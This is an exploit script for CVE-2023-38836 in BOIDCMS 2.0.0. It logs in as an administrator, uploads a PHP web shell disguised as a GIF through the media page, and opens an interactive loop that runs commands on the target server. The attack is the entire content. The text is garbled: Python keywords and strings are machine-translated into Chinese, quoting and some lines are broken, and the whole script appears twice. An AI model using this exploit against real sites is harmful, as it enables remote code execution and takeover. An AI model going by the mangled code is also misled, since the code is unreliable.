#!/usr/bin/python3
#利用标题: BOIDCMS v2.0.0-身份验证的文件上传漏洞
#日期: 08/21/2023
#利用作者: 1337KID
#供应商homepage: https://boidcms.github.io/#/
#软件link: https://boidcms.github.io/boidcms.zip
#版本:=2.0.0
#在: Ubuntu上测试
#CVE : CVE-2023-38836
导入请求
导入
导入argparse
parser=argparse.argumentparser(description='for for cve-2023-38836')
parser.add_argument(' - u',' - url',help='网站url')
parser.add_argument(' - l',' - user',help='admin username')
parser.add_argument(' - p',' - passwd',help='管理员密码')
args=parser.parse_args()
base_url=args.url
用户=args.user
passwd=args.passwd
DEF SHOWHELP():
print(parser.print_help())
出口()
如果base_url==none: ShowHelp()
elif用户==none: ShowHelp()
elif passwd==none: showhelp()
使用requests.session()为s:
req=s.get(f'{base_url}/admin')
token=re.findall('[a-z0-9] {64}',req.text)
form_login_data={
'username':user,
'password'
asswd,
'login':'login',
}
form_login_data ['token']=令牌
s.post(f'{base_url}/admin',data=form_login_data)
#=============文件上传到RCE
req=s.get(f'{base_url}/admin?page=媒体')
token=re.findall('[a-z0-9] {64}',req.text)
form_upld_data={
'token':token,
“上传” :'upload'
}
#====PHP壳
php_code=['gif89a; \ n','?php system($ _ get ['cmd'])?]?
以F:为open('shell.php','w')
F.Writelines(php_code)
#====
file={'file': Open('shell.php','rb')}}
s.post(f'{base_url}/admin?page=媒体',files=file,data=form_upld_data)
req=s.get(f'{base_url}/media/shell.php')
如果req.status_code=='404':
打印(“上传失败”)
出口()
打印(f'shell上传到'{base_url}/media/shell.php'')
而1:
cmd=输入('cmd')
如果cmd=='exit': exit()
req=s.get(f'{base_url}/media/shell.php',params={'cmd': cmd})
打印(req.text)
#利用标题: BOIDCMS v2.0.0-身份验证的文件上传漏洞
#日期: 08/21/2023
#利用作者: 1337KID
#供应商homepage: https://boidcms.github.io/#/
#软件link: https://boidcms.github.io/boidcms.zip
#版本:=2.0.0
#在: Ubuntu上测试
#CVE : CVE-2023-38836
导入请求
导入
导入argparse
parser=argparse.argumentparser(description='for for cve-2023-38836')
parser.add_argument(' - u',' - url',help='网站url')
parser.add_argument(' - l',' - user',help='admin username')
parser.add_argument(' - p',' - passwd',help='管理员密码')
args=parser.parse_args()
base_url=args.url
用户=args.user
passwd=args.passwd
DEF SHOWHELP():
print(parser.print_help())
出口()
如果base_url==none: ShowHelp()
elif用户==none: ShowHelp()
elif passwd==none: showhelp()
使用requests.session()为s:
req=s.get(f'{base_url}/admin')
token=re.findall('[a-z0-9] {64}',req.text)
form_login_data={
'username':user,
'password'

'login':'login',
}
form_login_data ['token']=令牌
s.post(f'{base_url}/admin',data=form_login_data)
#=============文件上传到RCE
req=s.get(f'{base_url}/admin?page=媒体')
token=re.findall('[a-z0-9] {64}',req.text)
form_upld_data={
'token':token,
“上传” :'upload'
}
#====PHP壳
php_code=['gif89a; \ n','?php system($ _ get ['cmd'])?]?
以F:为open('shell.php','w')
F.Writelines(php_code)
#====
file={'file': Open('shell.php','rb')}}
s.post(f'{base_url}/admin?page=媒体',files=file,data=form_upld_data)
req=s.get(f'{base_url}/media/shell.php')
如果req.status_code=='404':
打印(“上传失败”)
出口()
打印(f'shell上传到'{base_url}/media/shell.php'')
而1:
cmd=输入('cmd')
如果cmd=='exit': exit()
req=s.get(f'{base_url}/media/shell.php',params={'cmd': cmd})
打印(req.text)